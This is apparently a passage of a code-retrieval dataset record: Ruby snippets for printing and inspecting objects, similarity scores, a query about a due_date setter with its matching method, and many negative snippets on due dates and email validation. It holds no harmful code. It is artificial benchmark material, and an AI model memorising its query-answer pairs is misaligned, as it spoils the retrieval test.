"def display_task(task)\n\t\t\tsplit_task(task.name).each_with_index do |name_line, line_index|\n\t\t\t\tcol_1 = pad((task.start_time if line_index==0), 5)\n\t\t\t\tcol_2 = pad(name_line, @name_width)\n\t\t\t\tcol_3 = pad((task.elapsed_time if line_index==0), @elapsed_time_width)\n\n\t\t\t\tif task.current? and TrackingConfig[:color_current_task]\n\t\t\t\t\tcurrent_task_color = TrackingConfig[:current_task_color]\n\t\t\t\t\tcurrent_task_color = TrackingConfig.defaults[:current_task_color] unless String.colors.include? current_task_color\n\n\t\t\t\t\tcol_1 = col_1.colorize current_task_color\n\t\t\t\t\tcol_2 = col_2.colorize current_task_color\n\t\t\t\t\tcol_3 = col_3.colorize current_task_color\n\t\t\t\tend\n\n\t\t\t\tputs \"| #{col_1} | #{col_2} | #{col_3} |\"\n\t\t\tend\n\t\tend",
"def details\n\t\treturn @feature + \": #{@extra_cost} + \" + @real_donation.details \n\tend",
"def details\n\t\treturn @feature + \": #{@extra_cost} + \" + @real_donation.details \n\tend",
"def print_fields\r\n\t\tputs \"name: #{@name}\"\r\n\t\tputs \"num_billcoins: #{@num_billcoins}\"\r\n\t\tputs \"\"\r\n\tend",
"def details\n return @description + \": \" + \"#{@extra_cost}\" + \". \" + @basic_prescription.details\n end",
"def print()\n printf \"\\nAuthor ID: %d affiliation: %s affiliation short: %s country: %s\\n\", self.article_author_id, self.name, self.short_name, self.country\n printf \"\\nAddress: %s, %s, %s, %s, %s\\n\", self.add_01, self.add_02, self.add_03,self.add_04, self.add_05\n end",
"def inspect\n output = \"#<#{self.class}:#{(object_id << 1).to_s(16)}\"\n\n %i[username token idle_timeout duration].each do |attribute|\n value = instance_variable_get \"@#{attribute}\".to_sym\n output += \" @#{attribute}=#{value}\" unless value.nil?\n end\n\n output += '>'\n output\n end",
"def inspect\n att_info = []\n inspect_attributes.each do |att|\n next unless respond_to? att\n\n att_info << \"#{att}=#{send(att).inspect}\"\n end\n att_info << '..'\n \"\\#<#{self.class}:#{object_id} #{att_info.join(', ')}>\"\n end",
"def inspect\n\t\treturn \"#<%p:#%x %s: %s%s>\" % [\n\t\t\tself.class,\n\t\t\tself.object_id * 2,\n\t\t\tself.path,\n\t\t\tself.status_description,\n\t\t\tself.source ? \" via copy/move from #{self.source}\" : '',\n\t\t]\n\tend",
"def print_out_line\n #p ['id', id, 'ctd', ctd]\n #p rcp.results.zip(rcp.results.map{|r| send(r)})\n name = @run_name\n name += \" (res: #@restart_id)\" if @restart_id\n name += \" real_id: #@real_id\" if @real_id\n beginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s) %3s%1s\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s, percent_complete, \"%\")\n if ctd and fusionQ\n beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n end\n beginning += \" ---#{@comment}\" if @comment\n beginning\n end",
"def print_task_summary(taskid, names, callers, completed, running, task_not_known, wrapper_failure, success, fails, runtime, rpcstats)\n if callers.size > 1 || names.size > 1\n out.puts\n out.puts(\"%s received more than 1 task name or caller name for this task, this should not happen\" % Util.colorize(:red, \"WARNING\"))\n out.puts(\"happen in normal operations and might indicate forged requests were made or cache corruption.\")\n out.puts\n end\n\n out.puts(\"Summary for task %s\" % [Util.colorize(:bold, taskid)])\n out.puts\n out.puts(\" Task Name: %s\" % names.join(\",\"))\n out.puts(\" Caller: %s\" % callers.join(\",\"))\n out.puts(\" Completed: %s\" % (completed > 0 ? Util.colorize(:green, completed) : Util.colorize(:yellow, completed)))\n out.puts(\" Running: %s\" % (running > 0 ? Util.colorize(:yellow, running) : Util.colorize(:green, running)))\n out.puts(\" Unknown Task: %s\" % Util.colorize(:red, task_not_known)) if task_not_known > 0\n out.puts(\" Wrapper Failure: %s\" % Util.colorize(:red, wrapper_failure)) if wrapper_failure > 0\n out.puts\n out.puts(\" Successful: %s\" % (success > 0 ? Util.colorize(:green, success) : Util.colorize(:red, success)))\n out.puts(\" Failed: %s\" % (fails > 0 ? Util.colorize(:red, fails) : fails))\n out.puts\n out.puts(\" Average Run Time: %.2fs\" % [runtime / (running + completed)])\n\n if rpcstats.noresponsefrom.empty?\n out.puts\n out.puts rpcstats.no_response_report\n end\n\n if running > 0\n out.puts\n out.puts(\"%s nodes are still running, use 'mco tasks status %s' to check on them later\" % [Util.colorize(:bold, running), taskid])\n end\n end",
"def printNotDone\n notDoneList = \"\"\n @toDoListArray.each do |e|\n if !e.status\n notDoneList = notDoneList + e.printItem + \" \"\n end\n end\n notDoneList\n end",
"def print_debug_info\n puts \"Programmer #{name}:\"\n puts \"\\tSpeed: #{speed}\"\n puts \"\\tDaily wage: #{daily_wage}\"\n puts \"\\tProject: #{project_name}\"\n end",
"def details\n\n return @description + \": \" + \"#{@infection}\" + \". \" + @patient.details\n\n end",
"def details\n return @description + \"; \" + @doctorname + \"; \" + @medicine + \": \" + \"#{@cost}\"\n end",
"def print\n blank = \"#{Tty.yellow}[no description]#{Tty.reset}\"\n @descriptions.keys.sort.each do |name|\n description = @descriptions[name] || blank\n puts \"#{Tty.white}#{name}:#{Tty.reset} #{description}\"\n end\n end"
] |
[
"0.7513576",
"0.7165069",
"0.6902165",
"0.6829049",
"0.6681728",
"0.6550361",
"0.654912",
"0.650237",
"0.6490485",
"0.6378167",
"0.63497293",
"0.6291157",
"0.6281578",
"0.6277279",
"0.6275156",
"0.6230306",
"0.62095195",
"0.61869776",
"0.6148436",
"0.61408347",
"0.61386114",
"0.61254025",
"0.6080235",
"0.6070939",
"0.60694283",
"0.60690886",
"0.606312",
"0.6036658",
"0.6035829",
"0.6031347",
"0.6008035",
"0.59914374",
"0.5985057",
"0.59768367",
"0.59745824",
"0.59646124",
"0.5956312",
"0.5940218",
"0.5934316",
"0.5927738",
"0.59248537",
"0.5920279",
"0.5919686",
"0.590131",
"0.5886234",
"0.5884024",
"0.5881755",
"0.5879359",
"0.587735",
"0.5873197",
"0.5847812",
"0.5839482",
"0.58308196",
"0.5825592",
"0.58251584",
"0.5819752",
"0.5813645",
"0.5812035",
"0.5809785",
"0.58046645",
"0.5802109",
"0.58002466",
"0.5799902",
"0.5787863",
"0.57838905",
"0.5769505",
"0.5763334",
"0.57604593",
"0.5759057",
"0.57565516",
"0.5754403",
"0.5751733",
"0.57504475",
"0.5746449",
"0.57392186",
"0.57354033",
"0.5721208",
"0.5711767",
"0.5707711",
"0.5705099",
"0.5702453",
"0.5700618",
"0.5687827",
"0.56828517",
"0.5680571",
"0.56804585",
"0.56804585",
"0.5673719",
"0.5671129",
"0.56620103",
"0.5661409",
"0.56573933",
"0.564862",
"0.5646992",
"0.5643999",
"0.56429684",
"0.5637188",
"0.56261164",
"0.5623286",
"0.56200844"
] |
0.6341131
|
11
|
Purpose: due_date setter Signature: takes date string in "YYYYMMDD" format
|
def set_due_date(date_string)
@due_date = Date.parse(date_string)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def change_due_date(date)\n @due_date = Date.parse(date)\n end",
"def due_date=(date)\n @due_date = date\n end",
"def changeDueDate(date)\n @dueDate = Date.parse(date)\n return @dueDate\n end",
"def setDueDate(date)\n @dueDate = date\n end",
"def due_date\n if @values[:due_date] != nil && @values[:due_date] != \"\"\n @date_due_date ||= Date.parse(@values[:due_date])\n end\n end",
"def set_due_date\n if created_at.day >= 29\n y = created_at.year\n m = created_at.next_month.month\n d = 28\n x = Date.new(y, m, d)\n else\n x = created_at.next_month\n end\n self.due_date = x\n end",
"def dueDate\n Date.parse(@dueDate)\n end",
"def set_due_date\n @due_date = DueDate.find(params[:id])\n end",
"def due_date_string\n ::Util.date_to_string(self.due_date)\n end",
"def due_date_string\n ::Util.date_to_string(self.due_date)\n end",
"def DueDate # rubocop:disable Style/MethodName\n Time.strptime(@attrs[:DueDate], '%m/%d/%Y %l:%M %p').utc unless @attrs[:DueDate].nil?\n end",
"def payment_due_date\n # Overrides attr_accessor so it actually returns a DateTime, not String\n if (@payment_due_date.empty? || @payment_due_date == '')\n ''\n else\n DateTime.strptime(@payment_due_date , '%m/%d/%y')\n end\n end",
"def due_on=(value)\n value = nil if value.instance_of?(String) && value.length == 0\n attribute_set(:due_on, value)\n end",
"def due_date\n @due_date\n end",
"def due_date_time=(value)\n @due_date_time = value\n end",
"def due_date_time=(value)\n @due_date_time = value\n end",
"def due_date\n return @due_date\n end",
"def\n get_due_date()\n @due_date\n end",
"def default_due_date\n #Date.parse(future_date($default_due).to_s[0..10]) # => converts to a Date object\n Date.today + $default_due\n end",
"def due\n date = Chronic.parse(text.scan(DATE_REGEX).flatten[2])\n date.nil? ? nil : date.to_date\n end",
"def set_date(*fields)\n fields.each do |field|\n next unless self.respond_to?(field) && self[field].is_a?(String)\n self[field] = Date.strptime(self[field], \"%Y-%m-%d\")\n end\n end",
"def get_due_date()\n @due_date\n end",
"def rolls_date= date\n return super(date) unless date.is_a? String\n\n date = Date.strptime(date, \"%m%d%Y\") if date =~ /\\d{8}/\n date = Date.strptime(date, \"%m/%d/%Y\") if date =~ /\\d{1,2}\\/\\d{1,2}\\/\\d{4}/\n date = Date.parse(date) if date =~ /\\d{4}-\\d{1,2}-\\d{1,2}/\n\n super date\n end",
"def check_out(due_date)\n @due_date = due_date\n end",
"def get_due_date()\n return @due_date\n end",
"def due_date(due)\n return DateLabelHelper::DueDateView.new(due, prefs).due_date_html\n end",
"def due_date_formatted\n object.due_date.strftime('%a %d %b %Y') if object.due_date\n end",
"def due_date (order, options = {})\n if !!options[:short]\n order.due.strftime(\"%B %-d, %Y\")\n else\n order.due.strftime(\"%A, %B #{order.due.day.ordinalize}\")\n end\n end",
"def due_date\n notice_date + RESPOND_BY_TIME if notice_date\n end",
"def due_date\n notice_date + RESPOND_BY_TIME if notice_date\n end",
"def date=(date)\n date_split = date.split(\"-\")\n date_check = [date_split[0].length == 4, date_split[1].length == 2, date_split[2].length == 2]\n raise \"Please submit the date in the format 'yyyy-mm-dd'.\" if date_check.any? { |check| check == false }\n @date = date\n end",
"def due_date\n if @lease.grace_period.present? && @lease.grace_period >= 0\n @date + @lease.grace_period.day\n else\n @date\n end\n end",
"def check_out(due_date)\n\n if @due_date == nil\n @due_date = 0\n end\n\n @due_date += 7\n\n end",
"def due_date\n created_at + Spree::BilletConfig.due_date.days\n end",
"def due\n DateTime.parse(value_for('due'))\n end",
"def set_due_date_to_month_from_now\n \tif self.due_date.nil?\n \t\tself.due_date = 1.month.from_now\n \tend\n end",
"def addDueDate(id, date)\n item = Todo.find(id)\n item.duedate = date\n item.save\nend",
"def due_date\n self.created_at.to_date + 7\n end",
"def\n check_out(due_date)\n\n if @due_date == nil\n @due_date = 0\n end\n\n @due_date += 7\n\n end",
"def released_on=date\n super Date.strptime(date, '%m/%d/%Y') #Converts the string entered in the form to be formatted to a date\n end",
"def format_date(number)\n if number == 1\n dates = @start_date.strftime(\"%D\") if @start_date\n dates << \" -- \" + @end_date.strftime(\"%D\") if @end_date\n dates = \"N/A\" if !dates\n return dates\n else\n @due ? @due.strftime(\"%D\") : \"No due date\"\n end\n end",
"def update_due_date\n @due_date_all.each do |dd|\n update_due_date_nameurl(dd)\n adjust_due_date_for_timezone(dd)\n break if validate_due_date\n end\n end",
"def next_anniversary_date\n while (@due_date <= Date.today)\n @due_date = Date.new(@year += 1, @month, @day)\n end\n end",
"def due\n\t\t\t\tif read_attribute(:due) && read_attribute(:due) > 0\n\t\t\t\tTime.at(read_attribute(:due)).to_date\n\t\t\t\telse\n\t\t\t\tnil\n\t\t\t\tend\n\t\t\tend",
"def released_on=date\n super DateTime.strptime(date, '%m/%d/%Y')\n end",
"def date_check\n if due_date.present? && due_date < Date.today\n errors.add(:due_date, \"can't be before today\")\n end\n end",
"def change_date(date)\n require 'date'\n date = DateTime.parse(date)\nend",
"def expiration_date=(date)\n if date.is_a?(Date)\n @expiration_date = date\n else\n # do we have a month/year in here? will accept 01/12 or 1/1 etc\n # must have 1 or 2 digit then forward slash then 1 or 2 digits\n if date =~ /\\A\\d{2}\\/\\d{1,2}\\z/\n # some fun building a date out of that\n date_split = date.split('/')\n month, year = date_split[0].to_i, date_split[1].to_i\n if month.between?(1, 12)\n year > 30 ? year += 1900 : year += 2000\n # now make sure we have the last day of the month\n @expiration_date = Date.new(year, month, -1)\n end\n # create a date from month year\n else\n if date =~ /\\A\\d\\/\\d{1,2}\\z/\n # tut tut tut\n @expiration_date = date\n else\n # try and parse the date\n begin\n @expiration_date = Date.parse(date)\n rescue ArgumentError\n # no date for you!\n @expiration_date = date\n end\n end\n end\n end\n end",
"def set_date_before_save\n self.date = Chronic.parse(self.human_date)\n end",
"def date=(date)\n if date && date.is_a?(String)\n @date = date.strip\n end\n end",
"def internal_due_date_time=(value)\n @internal_due_date_time = value\n end",
"def update_due_date(due_date)\n due = due_date.to_time\n if !self.reminder_at.nil?\n reminder_in_seconds = self.due_at - self.reminder_at\n self.reminder_at = due - reminder_in_seconds\n if self.project.user.email_flag?\n QueuedMessage.remove(self) \n QueuedMessage.add(self)\n end\n end\n self.due_at = due \n end",
"def set_date(date)\n param = date[:year]\n if date.key? :month\n param << \":\" << date[:month]\n param << \":\" << date[:day] if date.key? :day\n end\n Jhead.call(\"-ds\" << param, @match, @pattern)\n end",
"def set_due\n @due = Due.find(params[:id])\n end",
"def remove_due_date\n self.due_at = nil\n \tif ! self.reminder_at.nil?\n\t self.reminder_at = nil\n end\n end",
"def due\n if read_attribute(:due) && read_attribute(:due) > 0\n Time.at(read_attribute(:due)).to_date\n else\n nil\n end\n end",
"def change_user_date(input_date)\n parsed_date = DateTime.parse(\"#{input_date}\")\n use_date = parsed_date.strftime('%a %d %b %Y')\n use_date\n end",
"def date=(date_value)\n @date = date_value.class <= Date ? date_value : Date.parse(date_value)\n end",
"def set_date(source, target, field_name)\n value = source[field_name]\n\n unless value.blank?\n try_conversion(field_name, source) do\n target[field_name] = Date.parse(value)\n end\n end\n end",
"def price_date=(date_string)\n if !date_string.blank? && date_string.split(\"/\")[2].length == 2\n date = Date.strptime(date_string, \"%m/%d/%y\") rescue nil\n else\n date = Date.strptime(date_string, \"%m/%d/%Y\") rescue nil\n end\n write_attribute(:price_date, date)\n end",
"def setDate _args\n \"setDate _args;\" \n end",
"def issued_date=(issued_date)\n if !issued_date.nil? && issued_date.to_s.length < 1\n fail ArgumentError, 'invalid value for \"issued_date\", the character length must be great than or equal to 1.'\n end\n\n @issued_date = issued_date\n end",
"def date=(value)\n @date = value.is_a?(String) ? DateTime.parse(value) : value\n end",
"def date_setter(name, d)\n case d.class.name\n when 'RDF::Literal::Date', 'NilClass'\n value = d\n when 'String'\n begin\n if d.empty?\n value = nil\n else\n value = ::RDF::Literal.new(Date.parse(d))\n end\n rescue\n raise ArgumentError, \"#{name} could not be converted to a date.\"\n end\n when 'Date', 'DateTime', 'Time' \n value = ::RDF::Literal.new(Date.parse(d.to_s))\n else\n raise ArgumentError, \"#{name} cannot be a #{d.class}.\"\n end\n \n set_value(name, value) \n end",
"def date=(date)\n @date = case date\n when String\n Date.parse(date)\n else\n date\n end\n end",
"def literal_date(v)\n v.strftime(\"{d '%Y-%m-%d'}\")\n end",
"def adjust_due_date_for_timezone(dd)\n dd.due_at = dd.due_at.to_s.in_time_zone(current_user.timezonepref) if dd.due_at.present?\n end",
"def header_due_date_caption=(header_due_date_caption)\n\n if !header_due_date_caption.nil? && header_due_date_caption.to_s.length > 50\n fail ArgumentError, \"invalid value for 'header_due_date_caption', the character length must be smaller than or equal to 50.\"\n end\n\n @header_due_date_caption = header_due_date_caption\n end",
"def due_date_params\n params.require(:due_date).permit(\n :name, :description, :start, { :tags => [] },\n :day_of_month, :day_of_week, :frequency\n )\n end",
"def moodle_datetime(due_date)\n @datetime_format ||= Helli::CSV::Adapter::MoodleGradingWorksheet::DATETIME_FORMAT\n due_date.nil? ? '-' : Faker::Time.between(from: due_date - 7, to: due_date).strftime(@datetime_format)\n end",
"def date_str\n date.strftime(\"%Y%m%d\")\n end",
"def dateify_dob\n self.dob ||= \"\"\n parts = self.dob.split(\"/\").map{|i| i.to_i}\n self.dob = \"#{parts[0].to_s.rjust(2, \"0\")}/#{parts[1].to_s.rjust(2, \"0\")}/#{parts[2]}\"\n end",
"def edit_current_ride_pickup_date(date)\n date.strftime('%d/%m/%Y') rescue 0\n end",
"def update_nil_dd_deadline_name(due_date_all)\n due_date_all.each do |dd|\n dd.deadline_name ||= ''\n end\n due_date_all\n end",
"def update_due_date_nameurl(dd)\n @due_date_nameurl_not_empty = due_date_nameurl_not_empty?(dd)\n @due_date_nameurl_not_empty_checkbox = @due_date_nameurl_not_empty\n @metareview_allowed = meta_review_allowed?(dd)\n @drop_topic_allowed = drop_topic_allowed?(dd)\n @signup_allowed = signup_allowed?(dd)\n @team_formation_allowed = team_formation_allowed?(dd)\n end",
"def check_in()\n @due_date = nil\n end",
"def check_in()\n @due_date = nil\n end",
"def fix_date(date=nil)\n if date == nil\n # no full date, use current\n yy, mm, dd = Time.now.strftime(\"%Y/%m/%d\").split('/')\n elsif date.size == 3\n # we got full date\n if date[0].size == 4\n # yyyy/mm/dd\n yy = date[0].strip\n mm = date[1].strip\n dd = date[2].strip.rjust(2,'0')\n else\n # dd/mm/yyyy\n dd = date[0].strip.rjust(2,'0')\n mm = date[1].strip\n yy = date[2].strip\n end\n case mm.downcase\n when 'enero' :\n mm = '01'\n when 'febrero' :\n mm = '02'\n when 'marzo' :\n mm = '03'\n when 'abril' :\n mm = '04'\n when 'mayo' :\n mm = '05'\n when 'junio' :\n mm = '06'\n when 'julio' :\n mm = '07'\n when 'agosto' :\n mm = '08'\n when 'setiembre' :\n mm = '09'\n when 'septiembre' :\n mm = '09'\n when 'octubre' :\n mm = '10'\n when 'noviembre' :\n mm = '11'\n when 'diciembre' :\n mm = '12'\n else\n mm.rjust(2,'0')\n end\n end\n return yy, mm, dd\n end",
"def ask_due_date old=nil\n days = $default_due\n today = Date.today\n start = Date.parse($g_row['start_date'].to_s) || today\n ask(\"Enter due date? (>= #{start}) \", Date) { \n |q| q.default = (today + days).to_s;\n q.validate = lambda { |p| Date.parse(p) >= start }; \n q.responses[:not_valid] = \"Enter a date >= than #{start}\"\n }\n end",
"def safe_date\n date&.strftime(DATE_FORMAT)\n end",
"def literal_date(v)\n v.strftime(\"DATE '%Y-%m-%d'\") \n end",
"def set_and_authorize_due_date\n @due_date = policy_scope(DueDate).find(params[:id])\n authorize @due_date\n end",
"def date_purchased=(value)\n @date_purchased = value\n end",
"def date=(date)\n @date = parse_date(date)\n end",
"def date(date)\n @datee = Date.new(date[:year],date[:month],date[:day])\n end",
"def due_date\n if assignment.section_due_dates_type\n a_due_date = assignment.assessment_section_properties\n .find_by(section_id: inviter&.section)&.due_date || assignment.due_date\n else\n a_due_date = assignment.due_date\n end\n extension_time = (extension&.time_delta || 0)\n return a_due_date + extension_time if !assignment.is_timed || start_time.nil?\n\n start_time + extension_time + assignment.duration\n end",
"def departureDate = (value)",
"def adjust_date(date1, date2)\n Jhead.call(\"-da\" << date1 << '-' << date2, @match, @pattern)\n end",
"def date_released=(date)\n date = Date.parse(date) unless date.is_a?(Date)\n\n @fields['date-released'] = date\n end",
"def\n check_in()\n @due_date = nil\n end",
"def update_due_dates(attributes, user)\n return false unless attributes\n\n attributes.each do |due_date|\n next if due_date[:due_at].blank?\n\n # parse the dd and convert it to utc before saving it to db\n # eg. 2015-06-22 12:05:00 -0400\n current_local_time = Time.parse(due_date[:due_at][0..15])\n tz = ActiveSupport::TimeZone[user.timezonepref].tzinfo\n utc_time = tz.local_to_utc(Time.local(current_local_time.year,\n current_local_time.month,\n current_local_time.day,\n current_local_time.strftime('%H').to_i,\n current_local_time.strftime('%M').to_i,\n current_local_time.strftime('%S').to_i))\n due_date[:due_at] = utc_time\n if due_date[:id].nil? || due_date[:id].blank?\n dd = AssignmentDueDate.new(due_date)\n @has_errors = true unless dd.save\n else\n dd = AssignmentDueDate.find(due_date[:id])\n # get deadline for review\n @has_errors = true unless dd.update_attributes(due_date)\n end\n @errors += @assignment.errors.to_s if @has_errors\n end\n end",
"def dateize(date)\n if not date.nil?\n date.strftime(\"%Y-%m-%d\")\n end\nend",
"def clean_date\n read_attribute :date\n end",
"def date_approval=(date)\n super parse_date(date)\n end",
"def task due_date, subject, notes=nil\n due = Chronic.parse(due_date).strftime('%Y-%m-%d %H:%M')\n params = {\n related_to: [ self.id ],\n subject: subject,\n due_date: due\n }\n params[:notes] = notes if notes\n @nimble.post \"activities/task\", params\n end",
"def set_burn_date\n \n unless @post.user == current_user\n return\n end\n \n if params[:post][\"burn_after_date(1i)\"]\n @post.burn_after_date = convert_date params[:post], \"burn_after_date\"\n return\n end\n \n if params[:post][:seconds_until_burn]\n seconds_until_burn = params[:post][:seconds_until_burn]\n if seconds_until_burn == \"\" or seconds_until_burn == \"nil\"\n @post.burn_after_date = nil\n else\n seconds_until_burn = params[:post][:seconds_until_burn].to_i\n @post.burn_after_date = Time.now + seconds_until_burn.seconds\n end\n end\n \n end",
"def ensure_correct_added_date_format\n date = Date.parse(added) rescue nil\n self.added = date.strftime(\"%Y-%m-%d\") if date.present?\n end",
"def start_date_before_due_date\n return unless start_date && due_date\n if due_date < start_date\n errors.add(:base, \"Reservation start date must be before due date.\\n\")\n end\n end",
"def task_set_issue_date\n errata.issue_date = Time.now\n errata.save!\n info \"Updated Issue date\"\n end",
"def to_date string\n \n end"
] |
[
"0.81394213",
"0.78250265",
"0.7823772",
"0.76514715",
"0.73983264",
"0.7312813",
"0.7236758",
"0.7097227",
"0.70676446",
"0.70676446",
"0.6960214",
"0.6890273",
"0.66367626",
"0.6595858",
"0.65756327",
"0.65756327",
"0.65426445",
"0.65368193",
"0.64763474",
"0.64713824",
"0.6467909",
"0.6446881",
"0.6404984",
"0.6382131",
"0.6374522",
"0.6373487",
"0.63623744",
"0.6339432",
"0.6337476",
"0.6337476",
"0.6314568",
"0.6268365",
"0.6260382",
"0.62344944",
"0.6232858",
"0.6223355",
"0.6191623",
"0.6157401",
"0.6127978",
"0.6087379",
"0.6074269",
"0.6067494",
"0.6054558",
"0.6032147",
"0.602914",
"0.6008233",
"0.59958136",
"0.59776175",
"0.59763056",
"0.59733045",
"0.5964003",
"0.5944133",
"0.5930445",
"0.5923725",
"0.5919032",
"0.5896106",
"0.5878447",
"0.5878055",
"0.58675873",
"0.5855738",
"0.58466583",
"0.58461565",
"0.5838309",
"0.58187556",
"0.58144605",
"0.58134353",
"0.58126533",
"0.5777092",
"0.5773738",
"0.5753625",
"0.5749233",
"0.57479095",
"0.5741834",
"0.57370806",
"0.571648",
"0.5700835",
"0.5700835",
"0.56936926",
"0.56901914",
"0.56858796",
"0.5673425",
"0.56580406",
"0.5642362",
"0.563368",
"0.5623625",
"0.56164443",
"0.560112",
"0.55871415",
"0.5574093",
"0.5572343",
"0.5550301",
"0.55465966",
"0.55415595",
"0.5526447",
"0.55181664",
"0.55159664",
"0.55148035",
"0.5512984",
"0.5505327",
"0.5487622"
] |
0.8109237
|
1
|
validates_format_of email not suck TODO
|
def github_projects
Rails.cache.fetch("/users/#{self.id}/github_projects", :expires_in => 1.day) {
gh = Github.new(authentications.where(:provider => 'github').first.provider_token)
gh.repos
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def email_format\n\t\terrors.add(:email, :invalid) unless email.match(EMAIL_REGEXP)\n\tend",
"def email_validator\n [\n ActiveModel::Validations::FormatValidator,\n {\n :allow_blank => true,\n :with => /\\A[^@\\s]+@[^@\\s]+\\.(\\S+)\\z/,\n :message => :invalid_email\n }\n ]\n end",
"def email_check\n if !email =~ /^([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})$/i\n errors.add :base, \"Email is in an invalid format.\"\n end\n end",
"def check_email_format\n if !(email =~ /\\A([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})\\z/i)\n errors.add(:email, 'Invalid email format')\n elsif email_changed? && Contact.exists?(email: email, user_id: user_id)\n errors.add(:email, 'Email is already added into your contacts')\n end\n end",
"def valid_email\n unless self.email =~ /\\w+@\\w+\\.\\w{2,}/\n errors.add(:email, \"is not valid.\")\n end\n end",
"def validates_email_format(email)\n # TODO: should this decode escaped entities before counting?\n begin\n local, domain = email.split('@', 2)\n rescue NoMethodError\n return false\n end\n\n begin\n email =~ Regex and not email =~ /\\.\\./ and domain.length <= 255 and local.length <= 64\n rescue Encoding::CompatibilityError\n # RFC 2822 and RFC 3696 don't support UTF-8 characters in email address,\n # so Regexp is in ASCII-8BIT encoding, which raises this exception when\n # you try email address with unicode characters in it.\n return false\n end\n end",
"def check_format\n @@email_regex = /^(([A-Za-z0-9]+_+)|([A-Za-z0-9]+\\-+)|([A-Za-z0-9]+\\.+)|([A-Za-z0-9]+\\++))*[A-Za-z0-9]+@((\\w+\\-+)|(\\w+\\.))*\\w{1,63}\\.[a-zA-Z]{2,6}$/i\n res=(@address =~ @@email_regex)\n #puts \" res is #{res}\"\n if res\n [true,\"format ok\"]\n else\n [false,\"format failed\"]\n end\n end",
"def validate_email_format(attribute_name, message = nil)\n validate_format(attribute_name, EMAIL_FORMAT, message)\n end",
"def email_validator(user_email)\n EmailValidator.regexp\n EmailValidator.valid?(user_email)\n end",
"def email_address_is_valid\n email_regex = /\\A([\\w+\\-].?)+@[a-z\\d\\-]+(\\.[a-z]+)*\\.[a-z]+\\z/\n if email.present? && email[email_regex].nil?\n errors.add(:email, \"is not valid\")\n end\n end",
"def validates_email_format_of(*attr_names)\n configuration = { :with => EMAIL_REGEX, :message => BAD_EMAIL_MESSAGE }\n configuration.update(attr_names.extract_options!)\n validates_format_of attr_names, configuration\n end",
"def validate_email\n if !self.email.match(/\\A#{ApplicationHelper.form_field_attr('email')[:regex]}\\Z/i)\n self.errors.add(:email, \"#{ApplicationHelper.form_field_attr('email')[:generic]}\")\n end\n end",
"def validate_email(email)\n #^([a-zA-Z0-9_\\-\\.]+)@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.)|(([a-zA-Z0-9\\-]+\\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\\]?)$\n # accepts RFC 2822 email addresses:\n #^((?>[a-zA-Z\\d!#$%&'*+\\-/=?^_`{|}~]+\\x20*|\"((?=[\\x01-\\x7f])[^\"\\\\]|\\\\[\\x01-\\x7f])*\"\\x20*)*(?<angle><))?((?!\\.)(?>\\.?[a-zA-Z\\d!#$%&'*+\\-/=?^_`{|}~]+)+|\"((?=[\\x01-\\x7f])[^\"\\\\]|\\\\[\\x01-\\x7f])*\")@(((?!-)[a-zA-Z\\d\\-]+(?<!-)\\.)+[a-zA-Z]{2,}|\\[(((?(?<!\\[)\\.)(25[0-5]|2[0-4]\\d|[01]?\\d?\\d)){4}|[a-zA-Z\\d\\-]*[a-zA-Z\\d]:((?=[\\x01-\\x7f])[^\\\\\\[\\]]|\\\\[\\x01-\\x7f])+)\\])(?(angle)>)$\n end",
"def validate(email)\n email.scan(/\\b(?:[\\w\\d\\S]+)@(?:[\\w\\d\\-\\.]){1,253}[\\.](?:[\\w]{2,5})\\b/).length > 0\nend",
"def validateEmail\n email_check = email.include?(\"@\") && email.split(\"@\")[1].include?(\".\")\n if email_check == false\n errors.add(:email, 'Invalid email address')\n end\n email_check\n end",
"def email_validate\n if !normalized_email.include? '@'\n puts \"Invalid e-mail address entered #{normalized_email}\"\n else\n true\n end\n end",
"def validate_email(value)\n # For email length, the source was:\n # http://www.rfc-editor.org/errata_search.php?rfc=3696&eid=1690\n #\n # Optionally we could force DNS lookups using ValidatesEmailFormatOf\n # by sending validate_email_format special options after the value\n # such as mx=true (see gem's github), however, this requires dns\n # availability 24/7, and we'd like this system to work a little more\n # independently, so for now simply check against the RFC 2822,\n # RFC 3696 and the filters in the gem.\n return true if (ValidatesEmailFormatOf::validate_email_format(value).nil? and\n value.to_s.length < MAX_EMAIL_LENGTH ) #ok\n return false #fail\n end",
"def validEmail(input)\n return input.match(/\\A[\\w+\\-.]+@[a-z\\d\\-.]+\\.[a-z]+\\z/i)\n end",
"def username_is_email\n errors.add(:userName,'is not in email format') unless userName=~ /^([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})$/i\n end",
"def validate_email(value)\n # For email length, the source was:\n # http://www.rfc-editor.org/errata_search.php?rfc=3696&eid=1690\n #\n # Optionally we could force DNS lookups using ValidatesEmailFormatOf\n # by sending validate_email_format special options after the value\n # such as mx=true (see gem's github), however, this requires dns\n # availability 24/7, and we'd like this system to work a little more\n # independently, so for now simply check against the RFC 2822,\n # RFC 3696 and the filters in the gem.\n return true if (ValidatesEmailFormatOf::validate_email_format(value).nil? and\n value.to_s.length < MAX_EMAIL_LENGTH ) #ok\n return false #fail\n end",
"def validates_email\n self.type == 'email'\n end",
"def validate_regex\n if !company.nil? && company.allow_email_regex == true\n # if email =~ /#{company.email_format}/i\n if email =~ /^([^@\\s]+)@((?:#{company.email_format}))$/i\n true\n else\n errors.add(:email, ' format not match')\n end\n else \n return true\n end\n end",
"def valid_format_email_or_phone?\n email_or_phone =~ email_fromat || email_or_phone =~ mobile_fromat || email_or_phone.blank?\n end",
"def validate_for_email_or_phone\n unless valid_format_email_or_phone?\n errors.add(:email_or_phone, :invalid)\n end\n end",
